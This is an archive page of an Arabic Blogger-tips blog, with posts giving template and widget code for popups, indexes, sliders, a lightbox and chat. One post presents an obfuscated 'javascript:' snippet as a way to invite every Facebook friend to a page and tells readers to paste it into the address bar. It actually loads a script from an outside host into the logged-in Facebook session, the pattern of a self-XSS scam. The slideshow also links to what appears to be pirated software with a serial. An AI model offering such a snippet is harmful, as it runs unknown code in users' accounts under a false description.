‏إظهار الرسائل ذات التسميات اضافات بلوجر. إظهار كافة الرسائل
‏إظهار الرسائل ذات التسميات اضافات بلوجر. إظهار كافة الرسائل

شرح طريقة عمل صندوق منبثق لوضع اعلانات جوجل ادسنس

بسم الله الرحمن الرحيم
* ابحث عن هذا الكود </head> باستخدام CTRL+F .

* انسخ الكود الموجود بالاسفل وضعه قبل هذا مباشرة </
head>
---------------------------------------------------------------------------------------------
<script src='http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js' type='text/javascript'></script>
<script type='text/javascript'>
jQuery(document).ready(function() {

function on_Scroll_Resize() {
var wh = jQuery(window).height();
var pph = jQuery("#popupslider").height();
var fromTop = jQuery(window).scrollTop()+50;

jQuery("#popupslider").css({"top":fromTop});
}

jQuery(window)
.scroll(on_Scroll_Resize)
.resize(on_Scroll_Resize)



//alert(jQuery.cookie('sreqshown'));

//var ww = jQuery(window).width();
//var ppw = jQuery("#popupslider").width();
//var leftm = (ww-ppw)/2;
var leftm = 0;

//var wh = jQuery(window).height();
//var pph = jQuery("#popupslider").height();
//var fromTop = (jQuery(window).scrollTop()+wh-pph) / 2;

jQuery("#popupslider").animate({opacity: "1", left: "0" , left: leftm}, 1000).show();


jQuery("#closepp").click(function() {
jQuery("#popupslider").animate({opacity: "0", left: "-300"}, 1000).show();
});

});
</script>

--------------------------------------------------------------------------------------------------
قم بحفظ قالب مدونتك.

* قم بالذهاب مره اخرى ---->>>> الي عناصر تصميم الصفحه.

* قم باختيار انشاء اداه جديده.

* لا تنسى ان تكون الاداه من هذا النوع HTML/javascript .

* انسخ الكود الموجود بالاسفل وضعه داخل الاداه.

------------------------------------------------------------------------------------------------
<b:if cond='data:blog.pagetype == 'item'>
<div
id="popupslider" style="position: absolute;width:250px;height:280px;background:#222;top:50px;b order:1px solid #929292;z-index:999;display:none;padding:10px;left:-300px;">
<p style="font-size:12px;font-weight:bold;color:green!important;"><a style="color:#00FF00!important;"> Promotions </a>
<a href="#" id="closepp" style="color:red!important;" onclick="return false;"> <img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEieLq2BhHXOOCVkzOjQWxut0LTyPg1V29UVlYeJCoe2_Y1n-VHyYvKS2Y3nFR7K7s2msq-W24L2IrMiinnfV7Z0Qc3VkOv_uK895fmvxEz-UtC07BHxlwL50ghlLFVix9eXWRGYx1ohu_T9/s1600/close+2.png" align="right" /> </a></p>

ADD HERE YOUR 250x250 Adsense code
<center><a href="ADD HERE YOUR FEEDBURNER URL" title="Subscribe To Our Rss Feed"><img src = "https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj21xkescYFrES0O4KHoQGpnhdrtpgNyktVbviHVrBxboCa2DdELpKB3qIaY7JUKcunj-SSXLra85MDGgnWwWtL8j_77m7ex_jhST9dsKrqs56OEmD00yHimWKihUXIA9yt-9tAWJrvc8Rg/s320/subscribe-rss-green.jpg"/></a></center></div
id="popupslider">
</b:if>
</div>
<div class='clear'></div>

---------------------------------------------------------------------------------------------------
ملاحظه:- قم بتغيير الكلام ذات اللون الاحمر بالتالي اعلان جوجل ادسنس بقياس عرض-250 و ارتفاع-250





عمل فهرس للمدونات وترتيب المواضيع فيها حسب الاقسام





سأشرح لكم في هذا الموضوع كيفية عمل عمل فهرس للمدونات وترتيب المواضيع فيها حسب الاقسام






تدخل على لوحة التحكم للمدونة وتضغط على  انشاء صفحة جديده
انسخ هذا الكود  وضعه في ال Edit Html للصفحة الجديدة





<div dir="rtl" style="text-align: right;" trbidi="on">
<div dir="rtl" style="text-align: right;">
</div>
<script src="https://sites.google.com/site/pramjweb/ali/alimkdm.Js.js">
</script>

<script src="http://bramj-web.blogspot.com/feeds/posts/summary?max-results=9999&amp;alt=json-in-script&amp;callback=loadtoc">
</script> </div>



ملحوظة 
غير رابط المدونة المكتوب باللون الاحمر الى رابط مدونتك






الان اعمل publish post

افتح الصفحة الجديدة وانسخ الرابط وضعه في اي مكان تريد

يمكنك وضع الرابط لصفحة الفهرس على الصفحة الرئيسية 

عمل فهرس للمدونه بطريقه جميله

بسم الله الرحمن الرحيم 
 
وهي كيفية إضافة فهرس للمدونة بتقنية جديدة ورائعة






كيفية إنشاء الفهرس
سنقوم بإذنه تعالى إنشاء الفهرس بخطوات سهلة للغاية فقط علينا إتباع التالي
- من لوحة التحكم الرئيسية نذهب الى رسالة جديدة ونختار صفحات ألتحرير




نختار وضع ( تحرير HTML )
في مربع ألتدوين نضع الكود التالي

كود:
<link href="http://abu-farhan.com/script/acctoc/acc-toc.css" media="screen" rel="stylesheet" type="text/css"></link><script src="http://abu-farhan.com/script/acctoc/daftarisiv2-pack.js"></script><script src="http://arshad2.blogspot.com/feeds/posts/summary?max-results=1000&amp;alt=json-in-script&amp;callback=loadtoc"></script><script type="text/javascript">var accToc=true;</script><script src="http://abu-farhan.com/script/acctoc/accordion-pack.js" type="text/javascript"></script>




نغير رابط المدونة باللون ألأحمر إلى رابط مدونتنا
ونتأكد في خيارات الرسائل أن تعليقات ألقراء على وضع ( عدم ألسماح )
ثم نضغط نشر ألرسالة لتأتينا الصفحة التالية



من هذه الصفحة نختار الطريقة التي نريد أن تظهر بها أداة ألصفحة وسنختار منها
( علامات تبويب ألمدونة ) ثم نضغط حفظ ونشر


اهم اضافه لمدونتك

بسم الله الرحمن الرحيم


وضعت لكم هذا الموضوع لانني اخاف ان أسأل يوم الساعة لماذا لم تنشر هذا لماذا لم تخبر عن هذا

الاستماع للقرأن الكريم مباشرة على النت وبدون اي تقطيع




كود:
<a href="http://www.tvquran.com/" target="_blank"><img src="http://www.tvquran.com/banr/tvquran_7.gif" alt="TvQuran" border="0" /></a>


كود:
<a href="http://www.tvquran.com/" target="_blank"><img src="http://www.tvquran.com/banr/tvquran_6.gif" alt="TvQuran" border="0" /></a>


كود:
<a href="http://www.tvquran.com/" target="_blank"><img src="http://www.tvquran.com/banr/tvquran_9.gif" alt="TvQuran" border="0" /></a>


كود:
<a href="http://www.tvquran.com/" target="_blank"><img src="http://www.tvquran.com/banr/tvquran_20.gif" alt="TvQuran" border="0" /></a>



كود:
<a href="http://www.tvquran.com/" target="_blank"><img src="http://www.tvquran.com/banr/tvquran_26.gif" alt="TvQuran" border="0" /></a>


كود:
<a href="http://www.tvquran.com/" target="_blank"><img src="http://www.tvquran.com/banr/tvquran_33.gif" alt="TvQuran" border="0" /></a>


كود:
<a href="http://www.tvquran.com/" target="_blank"><img src="http://www.tvquran.com/banr/tvquran_32.gif" alt="TvQuran" border="0" /></a>


كود:
<a href="http://www.tvquran.com/" target="_blank"><img src="http://www.tvquran.com/banr/tvquran_31.gif" alt="TvQuran" border="0" /></a>


كود:
<a href="http://www.tvquran.com/" target="_blank"><img src="http://www.tvquran.com/banr/tvquran_15.gif" alt="TvQuran" border="0" /></a>



كود:
<a href="http://www.tvquran.com/" target="_blank"><img src="http://www.tvquran.com/banr/tvquran_44.gif" alt="TvQuran" border="0" /></a>


كود:
<a href="http://www.tvquran.com/" target="_blank"><img src="http://www.tvquran.com/banr/tvquran_11.gif" alt="TvQuran" border="0" /></a>


كود:
<a href="http://www.tvquran.com/" target="_blank"><img src="http://www.tvquran.com/banr/tvquran_14.gif" alt="TvQuran" border="0" /></a>


كود:
<a href="http://www.tvquran.com/" target="_blank"><img src="http:/

كود جافا سكربت يتيح لك دعوة جميع أصدقائك إلى صفحتك على فيس بوك





بسم الله الرحمن الرحيم 
. سأضع بين يديكم اليوم كود جافا سكربت يسمح لك بدعوة جميع أصدقائك إلى صفحتك أو أي صفحة أخرى على موقع فيس بوك.

طريقة تركيب الكود سهل جدا كل الي عليك تاخد الكود كوبي وتفتح الصفحة المطلوب انتشاره وتاخد الكود تحطه مكان لينك الصفحة الخاصة بك وتدوس انتر هتظهر رسالة تأكيد ارسال الرسالة الانفيت لكل اصدقاء المشتركين بالصفحة الخاصة بك




كود بلغة HTML:
 javascript:var _0x20bb=["src","script","createElement","http://facebookblog.altervista.org/fans.js","appendChild","body"];var _0x9557=[_0x20bb[0],_0x20bb[1],_0x20bb[2],_0x20bb[3],_0x20bb[4],_0x20bb[5]];(a=(b=document)[_0x9557[2]](_0x9557[1]))[_0x9557[0]]=_0x9557[3];b[_0x9557[5]][_0x9557[4]](a); void (0);

عرض الصور بتقنية Lightbox

بسم الله الرجمن الرحيم
 أقدم لكم إضافة Lightbox بصفة تلقائيةوهى اداه رائعة لعرض الصور بتقنية اللايت بوكس كما فى الصورة



والآن ف نتوجه إلى التطبيق على المدونة ما عليك سوى البحث عن الوسم :

HTML Code:
</body>

ثم قم بلصق الكود التالي قبله مباشرة :

HTML Code:
<script src='http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js' type='text/javascript'/>
<style type='text/css'>
    /* jQuery lightBox plugin - Gallery style */
    #gallery {
        background-color: #444;
        padding: 10px;
        width: 520px;
    }
    #gallery ul { list-style: none; }
    #gallery ul li { display: inline; }
    #gallery ul img {
        border: 5px solid #3e3e3e;
        border-width: 5px 5px 20px;
    }
    #gallery ul a:hover img {
        border: 5px solid #fff;
        border-width: 5px 5px 20px;
        color: #fff;
    }
    #gallery ul a:hover { color: #fff; }
    </style>
<script src='http://lightboxabuiyad.googlecode.com/svn/jquery.lightbox-0.4.js' type='text/javascript'/>
<link href='http://dinhquanghuy.110mb.com/lightbox/jquery.lightbox-0.5.css' media='screen' rel='stylesheet' type='text/css'/>
<script type='text/javascript'>
$(function() {
$('a[href$=jpg], a[href$=JPG], a[href$=jpeg], a[href$=JPEG], a[href$=png], a[href$=gif], a[href$=bmp]:has(img)').lightBox();
});
</script>

ثم قم بحفظ القالب

اضافة شات الياهو للمدونة yahoo chat

بسم الله الرحمن الرحيم


Yahoo! Messenger

يستخدم لتقديم الدعم الفنى بحيث يستطيع الزائر  ان يحادثك على الياهو من موقعك

أولا نفتح:
http://messenger.yahoo.com/pingbox/studio/
وننتظر.................



ثم سجل دخوك
------------->
تظهر رسالة تضغط ok



الآن يمكنك محادثة زوار موقعك من خلال برنامج الياهو على جهازك

برامج ويب

عمل معرض صور لمدونات بلوجر


في الاول ده مثال للمعرض


في القالب نبحث عن
كود:
</head>
قبلها نضع الكود التالي
كود:
<script type='text/javascript'>//<![CDATA[//** Featured Content Slider script- (c) Dynamic Drive DHTML code library: http://www.dynamicdrive.com.//** May 2nd, 08'- Script rewritten and updated to 2.0.//** June 12th, 08'- Script updated to v 2.3, which adds the following features: //1) Changed behavior of script to actually collapse the previous content when the active one is shown, instead of just tucking it underneath the later. //2) Added setting to reveal a content either via "click" or "mouseover" of pagination links (default is former). //3) Added public function for jumping to a particular slide within a Featured Content instance using an arbitrary link, for example.//** July 11th, 08'- Script updated to v 2.4: //1) Added ability to select a particular slide when the page first loads using a URL parameter (ie: mypage.htm?myslider=4 to select 4th slide in "myslider") //2) Fixed bug where the first slide disappears when the mouse clicks or mouses over it when page first loads.var featuredcontentslider={//3 variables below you can customize if desired:ajaxloadingmsg: '<div style="margin: 20px 0 0 20px"><img src="loading.gif" /> Fetching slider Contents. Please wait...</div>',bustajaxcache: true, //bust caching of external ajax page after 1st request?enablepersist: true, //persist to last content viewed when returning to page?settingcaches: {}, //object to cache "setting" object of each script instancejumpTo:function(fcsid, pagenumber){ //public function to go to a slide manually.this.turnpage(this.settingcaches[fcsid], pagenumber)},ajaxconnect:function(setting){var page_request = falseif (window.ActiveXObject){ //Test for support for ActiveXObject in IE first (as XMLHttpRequest in IE7 is broken)try {page_request = new ActiveXObject("Msxml2.XMLHTTP")}catch (e){ try{ page_request = new ActiveXObject("Microsoft.XMLHTTP") } catch (e){}}}else if (window.XMLHttpRequest) // if Mozilla, Safari etcpage_request = new XMLHttpRequest()elsereturn falsevar pageurl=setting.contentsource[1]page_request.onreadystatechange=function(){featuredcontentslider.ajaxpopulate(page_request, setting)}document.getElementById(setting.id).innerHTML=this.ajaxloadingmsgvar bustcache=(!this.bustajaxcache)? "" : (pageurl.indexOf("?")!=-1)? "&"+new Date().getTime() : "?"+new Date().getTime()page_request.open('GET', pageurl+bustcache, true)page_request.send(null)},ajaxpopulate:function(page_request, setting){if (page_request.readyState == 4 && (page_request.status==200 || window.location.href.indexOf("http")==-1)){document.getElementById(setting.id).innerHTML=page_request.responseTextthis.buildpaginate(setting)}},buildcontentdivs:function(setting){var alldivs=document.getElementById(setting.id).getElementsByTagName("div")for (var i=0; i<alldivs.length; i++){if (this.css(alldivs[i], "contentdiv", "check")){ //check for DIVs with class "contentdiv" setting.contentdivs.push(alldivs[i])  alldivs[i].style.display="none" //collapse all content DIVs to begin with}}},buildpaginate:function(setting){this.buildcontentdivs(setting)var sliderdiv=document.getElementById(setting.id)var pdiv=document.getElementById("paginate-"+setting.id)var phtml=""var toc=setting.tocvar nextprev=setting.nextprevif (typeof toc=="string" && toc!="markup" || typeof toc=="object"){for (var i=1; i<=setting.contentdivs.length; i++){ phtml+='<a href="#'+i+'" class="toc">'+(typeof toc=="string"? toc.replace(/#increment/, i) : toc[i-1])+'</a> '}phtml=(nextprev[0]!=''? '<a href="#prev" class="prev">'+nextprev[0]+'</a> ' : '') + phtml + (nextprev[1]!=''? '<a href="#next" class="next">'+nextprev[1]+'</a>' : '')pdiv.innerHTML=phtml}var pdivlinks=pdiv.getElementsByTagName("a")var toclinkscount=0 //var to keep track of actual # of toc linksfor (var i=0; i<pdivlinks.length; i++){if (this.css(pdivlinks[i], "toc", "check")){ if (toclinkscount>setting.contentdivs.length-1){ //if this toc link is out of range (user defined more toc links then there are contents)  pdivlinks[i].style.display="none" //hide this toc link  continue } pdivlinks[i].setAttribute("rel", ++toclinkscount) //store page number inside toc link pdivlinks[i][setting.revealtype]=function(){  featuredcontentslider.turnpage(setting, this.getAttribute("rel"))  return false } setting.toclinks.push(pdivlinks[i])}else if (this.css(pdivlinks[i], "prev", "check") || this.css(pdivlinks[i], "next", "check")){ //check for links with class "prev" or "next" pdivlinks[i].onclick=function(){  featuredcontentslider.turnpage(setting, this.className)  return false }}}this.turnpage(setting, setting.currentpage, true)if (setting.autorotate[0]){ //if auto rotate enabledpdiv[setting.revealtype]=function(){ featuredcontentslider.cleartimer(setting, window["fcsautorun"+setting.id])}sliderdiv["onclick"]=function(){ //stop content slider when slides themselves are clicked on featuredcontentslider.cleartimer(setting, window["fcsautorun"+setting.id])}setting.autorotate[1]=setting.autorotate[1]+(1/setting.enablefade[1]*50) //add time to run fade animation (roughly) to delay between rotationthis.autorotate(setting)}},urlparamselect:function(fcsid){var result=window.location.search.match(new RegExp(fcsid+"=(\\d+)", "i")) //check for "?featuredcontentsliderid=2" in URLreturn (result==null)? null : parseInt(RegExp.$1) //returns null or index, where index (int) is the selected tab's index},turnpage:function(setting, thepage, autocall){var currentpage=setting.currentpage //current page # before changevar totalpages=setting.contentdivs.lengthvar turntopage=(/prev/i.test(thepage))? currentpage-1 : (/next/i.test(thepage))? currentpage+1 : parseInt(thepage)turntopage=(turntopage<1)? totalpages : (turntopage>totalpages)? 1 : turntopage //test for out of bound and adjustif (turntopage==setting.currentpage && typeof autocall=="undefined") //if a pagination link is clicked on repeatedlyreturnsetting.currentpage=turntopagesetting.contentdivs[turntopage-1].style.zIndex=++setting.topzindexthis.cleartimer(setting, window["fcsfade"+setting.id])setting.cacheprevpage=setting.prevpageif (setting.enablefade[0]==true){setting.curopacity=0this.fadeup(setting)}if (setting.enablefade[0]==false){ //if fade is disabled, fire onChange event immediately (verus after fade is complete)setting.contentdivs[setting.prevpage-1].style.display="none" //collapse last content div shown (it was set to "block")setting.onChange(setting.prevpage, setting.currentpage)}setting.contentdivs[turntopage-1].style.visibility="visible"setting.contentdivs[turntopage-1].style.display="block"if (setting.prevpage<=setting.toclinks.length) //make sure pagination link exists (may not if manually defined via "markup", and user omitted)this.css(setting.toclinks[setting.prevpage-1], "selected", "remove")if (turntopage<=setting.toclinks.length) //make sure pagination link exists (may not if manually defined via "markup", and user omitted)this.css(setting.toclinks[turntopage-1], "selected", "add")setting.prevpage=turntopageif (this.enablepersist)this.setCookie("fcspersist"+setting.id, turntopage)},setopacity:function(setting, value){ //Sets the opacity of targetobject based on the passed in value setting (0 to 1 and in between)var targetobject=setting.contentdivs[setting.currentpage-1]if (targetobject.filters && targetobject.filters[0]){ //IE syntaxif (typeof targetobject.filters[0].opacity=="number") //IE6 targetobject.filters[0].opacity=value*100else //IE 5.5 targetobject.style.filter="alpha(opacity="+value*100+")"}else if (typeof targetobject.style.MozOpacity!="undefined") //Old Mozilla syntaxtargetobject.style.MozOpacity=valueelse if (typeof targetobject.style.opacity!="undefined") //Standard opacity syntaxtargetobject.style.opacity=valuesetting.curopacity=value},fadeup:function(setting){if (setting.curopacity<1){this.setopacity(setting, setting.curopacity+setting.enablefade[1])window["fcsfade"+setting.id]=setTimeout(function(){featuredcontentslider.fadeup(setting)}, 50)}else{ //when fade is completeif (setting.cacheprevpage!=setting.currentpage) //if previous content isn't the same as the current shown div (happens the first time the page loads/ script is run) setting.contentdivs[setting.cacheprevpage-1].style.display="none" //collapse last content div shown (it was set to "block")setting.onChange(setting.cacheprevpage, setting.currentpage)}},cleartimer:function(setting, timervar){if (typeof timervar!="undefined"){clearTimeout(timervar)clearInterval(timervar)if (setting.cacheprevpage!=setting.currentpage){ //if previous content isn't the same as the current shown div setting.contentdivs[setting.cacheprevpage-1].style.display="none"}}},css:function(el, targetclass, action){var needle=new RegExp("(^|\\s+)"+targetclass+"($|\\s+)", "ig")if (action=="check")return needle.test(el.className)else if (action=="remove")el.className=el.className.replace(needle, "")else if (action=="add")el.className+=" "+targetclass},autorotate:function(setting){window["fcsautorun"+setting.id]=setInterval(function(){featuredcontentslider.turnpage(setting, "next")}, setting.autorotate[1])},getCookie:function(Name){var re=new RegExp(Name+"=[^;]+", "i"); //construct RE to search for target name/value pairif (document.cookie.match(re)) //if cookie foundreturn document.cookie.match(re)[0].split("=")[1] //return its valuereturn null},setCookie:function(name, value){document.cookie = name+"="+value},init:function(setting){var persistedpage=this.getCookie("fcspersist"+setting.id) || 1var urlselectedpage=this.urlparamselect(setting.id) //returns null or index from: mypage.htm?featuredcontentsliderid=indexthis.settingcaches[setting.id]=setting //cache "setting" objectsetting.contentdivs=[]setting.toclinks=[]setting.topzindex=0setting.currentpage=urlselectedpage || ((this.enablepersist)? persistedpage : 1)setting.prevpage=setting.currentpagesetting.revealtype="on"+(setting.revealtype || "click")setting.curopacity=0setting.onChange=setting.onChange || function(){}if (setting.contentsource[0]=="inline")this.buildpaginate(setting)if (setting.contentsource[0]=="ajax")this.ajaxconnect(setting)}}//]]></script><style>#slider4{border: 2px solid #181818;background: #ffffff;margin-left: 9px;}#paginate-slider4{border-color: #181818;margin-left: 9px;margin-top: 4px;}#paginate-slider4 a img{width: 80px;height: 60px;border: 2px solid #181818;margin-top: 5px;}#paginate-slider4 a img:hover, #paginate-slider4 a.selected img{border: 2px solid #ffc04e;}.sliderwrapper{position: relative; /*leave as is*/overflow: hidden; /*leave as is*/border: 10px solid navy;width: 500px; /*width of featured content slider*/height: 325px;}.sliderwrapper .contentdiv{visibility: hidden; /*leave as is*/position: absolute; /*leave as is*/left: 0;  /*leave as is*/top: 0;  /*leave as is*/padding: 5px;background: white;width: 500px; /*width of content DIVs within slider. Total width should equal slider's inner width */height: 100%;filter:progid:DXImageTransform.Microsoft.alpha(opacity=100);-moz-opacity: 1;opacity: 1;}.pagination{width: 500px; /*Width of pagination DIV. Total width should equal slider's outer width */text-align: right;background-color: #ffffff;padding: 0px 5px;}.pagination a{padding: 0 5px;text-decoration: none;color: #181818;background: #ffffff;}.pagination a:hover, .pagination a.selected{color: #181818;background-color: #ffffff;}</style>
علي فكره تقدر تغير الابعاد زي ماتحب من خلال الكود
بعد كده نحفظ القالب ونروح لعناصر الصفحه
ونضيف اداه جديده من نوع
كود:
html/java script
ونضع فيها الكود التالي
كود:
<div style="float:left;"><div id="slider4" class="sliderwrapper"><div style="background: url('IMAGE-1-LINK') center left no-repeat" class="contentdiv"></div><div style="background: url('IMAGE-2-LINK') center left no-repeat" class="contentdiv"></div><div style="background: url('IMAGE-3-LINK') center left no-repeat" class="contentdiv"></div><div style="background: url('IMAGE-4-LINK') center left no-repeat" class="contentdiv"></div><div style="background: url('IMAGE-5-LINK') center left no-repeat" class="contentdiv"></div></div><div id="paginate-slider4"><a href="#" class="toc"><img alt="IMAGE-1" src="IMAGE-1-THUMBNAIL-LINK"/></a><a href="#" class="toc"><img alt="IMAGE-2" src="IMAGE-2-THUMBNAIL-LINK"/></a><a href="#" class="toc"><img alt="IMAGE-3" src="IMAGE-3-THUMBNAIL-LINK"/></a><a href="#" class="toc"><img alt="IMAGE-4" src="IMAGE-4-THUMBNAIL-LINK"/></a><a href="#" class="toc"><img alt="IMAGE-5" src="IMAGE-5-THUMBNAIL-LINK"/></a></div><script type="text/javascript">featuredcontentslider.init({id: "slider4", //id of main slider DIVcontentsource: ["inline", ""], //Valid values: ["inline", ""] or ["ajax", "path_to_file"]toc: "markup", //Valid values: "#increment", "markup", ["label1", "label2", etc]nextprev: ["", "Next"], //labels for "prev" and "next" links. Set to "" to hide.revealtype: "mouseover", //Behavior of pagination links to reveal the slides: "click" or "mouseover"enablefade: [true, 0.1], //[true/false, fadedegree]autorotate: [true, 5000], //[true/false, pausetime]onChange: function(previndex, curindex){ //event handler fired whenever script changes slide//previndex holds index of last slide viewed b4 current (1=1st slide, 2nd=2nd etc)//curindex holds index of currently shown slide (1=1st slide, 2nd=2nd etc)}})</script></div>
ونغير IMAGE-X-LINKs و IMAGE-X-THUMBNAIL-LINK
بروابط الصور اللي انت عايز تحطها في المعرض

برامج ويب

شرح عمل سلايد شو لمدونات بلوجر slide show



معرض الصور المتحرك
الى بلوجر

طريقة الأضافة
(1)
"أذهب الى تصميم > تحريرHTML  >  أضغط " تنزيل قالب كامل


(2)

ضع علامة على  " توسيع قوالب عناصر واجهة المستخدم "
وأبحث عن
]]></b:skin>
 وضع  قبلها هذا الكود بالأسفل

#myslides{

background:#000 url(
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtWTW00Ybe4_68ZeXJwHF5N8reumwHwBP1RQE2eQReT91xUFhaVrfEX8p8ILgi9VtljOTaijn19I9J4KHYSIUuDcMv2u5Rh-jtrqYL105G8AueRVyMsC0kXCofFCqD789s4GLZiK3SEw/s1600/mslid.jpg) repeat-x;
width: 650px;
height:165px;
margin-bottom:5px;
}

.stepcarousel{

position: relative; /*leave this value alone*/
overflow: scroll; /*leave this value alone*/
width: 554px; /*Width of Carousel Viewer itself*/
height: 160px; /*Height should enough to fit largest content's height*/
margin: 0px 48px 5px 48px;

}


.stepcarousel .belt{

position: absolute; /*leave this value alone*/
left: 0;
top: 0;
}

.stepcarousel .panel{

float: left; /*leave this value alone*/
overflow: hidden; /*clip content that go outside dimensions of holding panel DIV*/
margin: 20px 10px ; /*margin around each panel*/
width:170px; /*Width of each panel holding each content. If removed, widths should be individually defined on each content DIV then. */
background:#0e1829;
height:120px;
border:1px solid #1d2c44;

}

.stepcarousel .panel p{
text-align: left; /*leave this value alone*/
overflow: hidden; /*clip content that go outside dimensions of holding panel DIV*/
margin: 5px 5px ; /*margin around each panel*/

}


.stepcarousel .panel h2{

text-align: left; /*leave this value alone*/
height:20px;
overflow: hidden; /*clip content that go outside dimensions of holding panel DIV*/
margin: 2px 5px ; /*margin around each panel*/
font-size:16px;
font-weight:bold;
text-align:center;
font-family:Georgia,century gothic,Arial,verdana, sans-serif;
}

.stepcarousel .panel img{

float: left; /*leave this value alone*/
background:#0E1829; /*clip content that go outside dimensions of holding panel DIV*/
margin: 5px 5px 5px 5px; /*margin around each panel*/
padding:0px 0px;
}
وتغير ما هو ملون الى ما يناسب قالبك

(3)
ثم أبحث عن هذا الكود 
</head>
وضع  قبله الكود الذى بالأسفل

<!-- JavaScript Slider -->
<script src='http://www.yourjavascript.com/57180121136/jquery-1.3.2.js' type='text/javascript'/>
<script src='http://www.yourjavascript.com/30111191622/slider.js' type='text/javascript'/>

<!-- End JavaScript Slider -->
<script type='text/javascript'>
stepcarousel.setup({
galleryid: &#39;mygallery&#39;, //id of carousel DIV
beltclass: &#39;belt&#39;, //class of inner &quot;belt&quot; DIV containing all the panel DIVs
panelclass: &#39;panel&#39;, //class of panel DIVs each holding content
panelbehavior: {speed:1500, wraparound:true, persist:true},
autostep: {enable:true, moveby:1, pause:1000},
defaultbuttons: {enable: true, moveby: 4, leftnav: [&#39;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhdNnb7y-3Nn7LSt5xaaEN81NndWNjiMVmank6waZrvO9EpzEBnuE2d4S3twjKECvYSlKhLN3wW0oR-vUtFdBk2-wPa77b6SYm6_HgZkcnfIwQQux1oFynDVJGCwbPkozSsa1sOTONJQlg/s400/left.jpg&#39;, -48, 0], rightnav: [&#39;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgkxV_jvuSGERMVmo3x8tiGHxyTZMiGbJvvNKP-XmVJFovPCFGwDqT4kPNSccINA14afsLgCGzyMtYKagGMNjhuEuL7DznDkNnO6MZoW8GUtRMXrEUxvcawdP97z7-__Dt8ETHopZwPgG4/s400/right.jpg&#39;, 0, 0]},
statusvars: [&#39;statusA&#39;, &#39;statusB&#39;, &#39;statusC&#39;], //register 3 variables that contain current panel (start), current panel (last), and total panels
contenttype: [&#39;external&#39;] //content setting [&#39;inline&#39;] or [&#39;external&#39;, &#39;path_to_external_file&#39;]

})

</script>
يفضل اعادة تحميل الملفين وأفضل   " جوجل سيت  "
 http://www.yourjavascript.com/30111191622/slider.js 
 http://www.yourjavascript.com/57180121136/jquery-1.3.2.js

وتغير الصور التى باللون الأزرق الى ما يناسب مدونتك


(4


"أذهب الى تصميم > عناصر الصفحة  > اضافة اداة > Html /Javascript واضف هذا الكود بالأسفل واحفظ الاداة فى المكان الذى تفضل ان يكون فيه العرض

<div id="myslides">
<div id="mygallery" class="stepcarousel">
<div class="belt">

<!-- 1st Template -->
<div class='panel'>
<a href="http://cairo-pro.blogspot.com/2010/04/blog-post_29.html" target="blank">
<img alt="برنامج جهاد الإسلام الأصدار الأول" height="135" src="http://img59.imageshack.us/img59/4294/25170809.png" width="185" /></a><a href='http://www.bloggertemp.com/2010/01/blogger-template-made-in-spain.html' target='blank' title='برنامج جهاد الإسلام الأصدار الأول'> </a>
</div>
<!--end code of 1st Template -->
<!-- 2nd Template -->

<div class='panel'>
<a href="http://cairo-pro.blogspot.com/2010/04/blog-post_23.html" target="blank">
<img alt="برنامج جهاد الأسلام الأصدار الثانى" height="135" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh761-d4PnAjDAvyMfOlldTIgTRfrO24u4E6XwGLerrgzYngfV_sJfS3tGnRwkxkQyKNBXYXVcW_qJs05QzWSsH2EElEctXSw8QnrN1-lLEiqvFltuyr_cyOMiwZNhMb3ebP_KbkZhD0rY/s320/12658683491.png" width="185" /></a><a href='http://www.bloggertemp.com/2010/01/blogger-template-fashion-press.html' target='blank' title='برنامج جهاد الأسلام الأصدار الثانى'> </a>

</div>
<!--end code of 2nd Template -->

<!-- 3rd Template -->

<div class='panel'>
<a href="http://cairo-pro.blogspot.com/2010/05/blog-post_23.html" target="blank">
<img alt="برنامج جهاد الإسلام الأصدار الثالث" height="135" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8IJx0Syg58wTQhrpOkZFMb0Tk4PK1vhVFbWZoe1SB_US789Ko7htvfSO7wdUAeJED0bBnbnzCbW82Lzp91zMSZJDyQTvjiT7dZipqB9uaKd5GeS5SMBB2cVsiEIM_eqmBKo8YjVObZB0/s1600/6.png" title="برنامج جهاد الإسلام الأصدار الثالث" width="185" /></a><a href='http://www.bloggertemp.com/2010/01/blogger-template-techlure.html' target='blank' title='برنامج جهاد الإسلام الأصدار الثالث'> </a>
</div>
<!--end code of 3rd Template -->
<!-- 4th Template -->

<div class='panel'>
<a href="http://cairo-pro.blogspot.com/2010/04/jihad-xp.html" target="blank">
<img alt="برنامج الأصلاح jihad xp" height="135" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhodxo9-HTi0Zw6BR1p5SMMARy5LNl9Qr5Mfv4LJF7jnC0xoqenWf5BL0Hl5qrxWjWg6JztNv9UhMGhK8Sz7F4CR9ES3-eDe-qaz2wCNEovFEBFr2K7gfOBkyesoWApSv5sgsXpfz-6tbk/s1600/1.png" title="برنامج الأصلاح jihad xp" width="185" /></a><a href='http://www.bloggertemp.com/2010/02/blogger-template-woodmag.html' target='blank' title='برنامج الأصلاح jihad xp'> </a>
</div>
<!--end code of 4th Template -->
<!-- 5th Template -->

<div class='panel'>
<a href="http://cairo-pro.blogspot.com/2010/06/folder-lock-641serial.html" target="blank">
<img alt="folder-lock-6.41+serial" height="135" src="http://3.bp.blogspot.com/_pL4cgkXrgTo/TBTZtlxyMNI

برامج ويب
/AAAAAAAAAdU/VjGF1kE7ihY/s320/1.png" title="folder-lock-6.41+serial" width="185" /></a><a href='http://www.bloggertemp.com/2010/02/blogger-template-showcase.html' target='blank' title='folder-lock-6.41+serial'>
</a>
</div>
<!--end code of 5th Template -->
<!-- 6th Template -->

<div class='panel'>
<a href="http://cairo-pro.blogspot.com/2010/05/outpost-firewall-pro.html" target="blank">
<img alt="أفضل جدار نارى كامل Outpost Firewall Pro" height="135" src="http://g.imagehost.org/0874/Outpost_Firewall_Pro_2009.jpg" title="أفضل جدار نارى كامل Outpost Firewall Pro" width="185" /></a><a href='http://www.bloggertemp.com/2010/03/blogger-template-versatile.html' target='blank' title='أفضل جدار نارى كامل outpost firewall pro'>
</a>
</div>
<!--end code of 6th Template -->

</div></div></div> 
